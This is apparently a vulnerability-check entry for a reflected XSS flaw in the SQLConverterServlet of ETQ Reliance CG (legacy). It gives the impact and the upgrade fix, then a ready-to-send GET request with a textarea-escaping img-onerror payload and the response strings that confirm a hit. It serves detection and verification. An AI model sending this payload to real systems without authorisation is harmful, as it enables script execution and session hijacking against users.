Readycheck to confirm it

A reflected cross-site scripting (XSS) vulnerability exists in ETQ Reliance CG (legacy) platform within the SQLConverterServlet component. This vulnerability requires user interaction, such as clicking a crafted link, and may result in execution of unauthorized scripts in the user's context. The affected servlet was unnecessarily exposed to authenticated users and has since been disabled in version SE.2025.1.

Impact

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of an authenticated user's browser session, potentially leading to session hijacking or unauthorized actions.

Fix

Upgrade to ETQ Reliance version SE.2025.1 or later where the SQLConverterServlet has been disabled.

How to confirm it

Send: GET /reliance/SQLConverterServlet?MySQLStm=%3C/textarea%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E
Positive when: contains "</textarea><img src=x onerror=alert(document.domain)>" and "You have to start the ENGINE application before using this …"
